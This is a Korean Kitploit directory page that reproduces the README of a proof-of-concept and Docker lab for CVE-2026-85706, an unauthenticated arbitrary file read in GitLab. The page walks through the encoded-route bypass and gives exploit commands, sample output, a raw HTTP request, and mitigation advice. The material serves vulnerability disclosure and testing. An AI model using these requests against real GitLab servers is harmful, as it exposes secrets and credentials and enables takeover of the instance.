Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-85706 — CVE-2026-85706에 대한 PoC 및 Docker 랩으로, GitLab CE/EE에서 commits API 라우트 우회와 urlencoded 오류 채널을 통한 인증되지 않은 임의 파일 읽기 취약점입니다. | Kitploit
도구/GitHubGitHub/eqstlab/cve-2026-85706
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration TestingLabs & Practice
GitHubeqstlab/cve-2026-85706

CVE-2026-85706

CVE-2026-85706에 대한 PoC 및 Docker 랩으로, GitLab CE/EE에서 commits API 라우트 우회와 urlencoded 오류 채널을 통한 인증되지 않은 임의 파일 읽기 취약점입니다.

저장소 보기
23412일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-85706 GitLab 비인증 임의 파일 읽기

★ CVE-2026-85706 GitLab 비인증 임의 파일 읽기 PoC ★

https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d


개요

CVE-2026-85706은 GitLab CE/EE의 비인증 임의 파일 읽기 취약점(CVSS 10.0, CISA KEV)으로, POST /api/v4/projects/:id/repository/commits를 통해 악용됩니다. 이 엔드포인트의 body-upload 헬퍼는 authenticate!보다 먼저 실행되며 params['file.path']를 격리 없이 절대 경로로 읽습니다. commits의 한 문자를 URL 인코딩하여 **%63ommits**로 만들면 GitLab-Workhorse가 해당 라우트를 인식하지 못해(따라서 file.path를 덮어쓰지 않음) Rails는 여전히 %63 → c로 디코딩하여 핸들러로 라우팅합니다. 이를 통해 공격자는 쿼리 문자열로 file.path를 설정할 수 있습니다. Content-Type=application/x-www-form-urlencoded인 경우, 헬퍼가 파일 내용을 다시 파싱하고 두 개의 16진수 숫자가 뒤따르지 않는 %가 400 응답 본문에 해당 내용을 반영합니다(그러한 문자가 없는 파일은 401 읽기 오라클만 제공). 최소 하나의 공개 프로젝트가 필요합니다.


영향받는 버전

CategoryVersion
취약GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
패치됨19.1.8 / 19.2.6 / 19.3.2 이상 (2026-09-10)

영향

  • GitLab 서비스 프로세스가 읽을 수 있는 모든 파일에 대한 비인증 임의 파일 읽기
  • 내용에 잘못된 %가 포함된 파일(애플리케이션 로그, URL 인코딩된 값이 포함된 설정/자격 증명)의 노출 → 정찰 + 자격 증명 탈취 → 인증된 접근으로의 연계 / 전체 인스턴스 장악
  • 이 읽기 프리미티브는 고가치 파일(gitlab-secrets.json, database.yml)에 도달합니다. 단, 순수하게 16진수/base64로만 구성된 파일은 공개 % 반사 채널을 통해 존재 여부 오라클만 반환합니다(에코를 트리거할 잘못된 % 바이트가 없음)
  • 수정 사항은 body-upload 헬퍼 앞에 authenticate!를 추가하여, 비인증 요청이 파일 읽기 싱크에 도달하기 전에 거부되도록 합니다

환경

취약한 GitLab CE를 빌드하고 실행합니다. 부팅 시 시더(seeder)가 /flag.txt(끝에 % 누출 트리거 포함)를 심고 공개 프로젝트 victim/public-app(프로젝트 id 1)을 생성하여 commits API에 비인증으로 접근할 수 있게 합니다. 첫 부팅은 약 2–3분 소요됩니다.

docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706

# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log   # look for: [seed] SEED_DONE ...

플래그는 플레이스홀더(EQST{gitlab_cve_2026_85706_arbitrary_file_read})입니다. 이미지를 편집하지 않고 실행 시 자신의 플래그를 설정하세요: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.

PreconditionState in this lab
GitLab 18.7 – 19.1.719.1.7-ce.0
최소 하나의 공개 프로젝트 (익명이 commits API에 도달)victim/public-app (id 1), 자동 생성됨
/api/v4/projects/:id/repository/commits 비인증 접근 가능노출됨
서버 파일시스템의 플래그/flag.txt (끝에 % 반사 트리거)

PoC

익스플로잇 gitlab_exploit.py는 %63ommits Workhorse 라우트 우회와 urlencoded 재파싱 오류 채널을 사용하여 단일 비인증 요청으로 서버에서 파일을 읽습니다. --read로 파일을 선택합니다(기본값 /flag.txt).

# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2

# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd

# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target   http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}

옵션:

  • --read "<abs path>" — 읽을 절대 파일 경로 (기본값 /flag.txt)
  • --project <id> — 비인증으로 접근 가능한 공개 프로젝트 id (기본값 1)
  • --check — 파일 읽기 싱크에 도달 가능한지만 확인 (local file not present 예상)

원시 요청 (Burp Repeater용):

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close


완화

  • GitLab을 19.1.8 / 19.2.6 / 19.3.2 이상으로 업그레이드
  • 즉시 업그레이드할 수 없는 경우, 프록시/WAF에서 */repository/commits* 및 */repository/files*에 대한 POST/PUT을 차단하고, 인스턴스를 SSO / VPN / IP 허용 목록 뒤에 배치
  • 패치 후: 엔드포인트가 인터넷에서 접근 가능했다면 GitLab 서비스가 읽을 수 있는 모든 파일(로그, 설정, 시크릿)이 노출되었다고 가정하고 세션을 무효화하며 노출된 자격 증명 / 시크릿을 교체

분석

  • KR:
  • EN:
도구 다운로드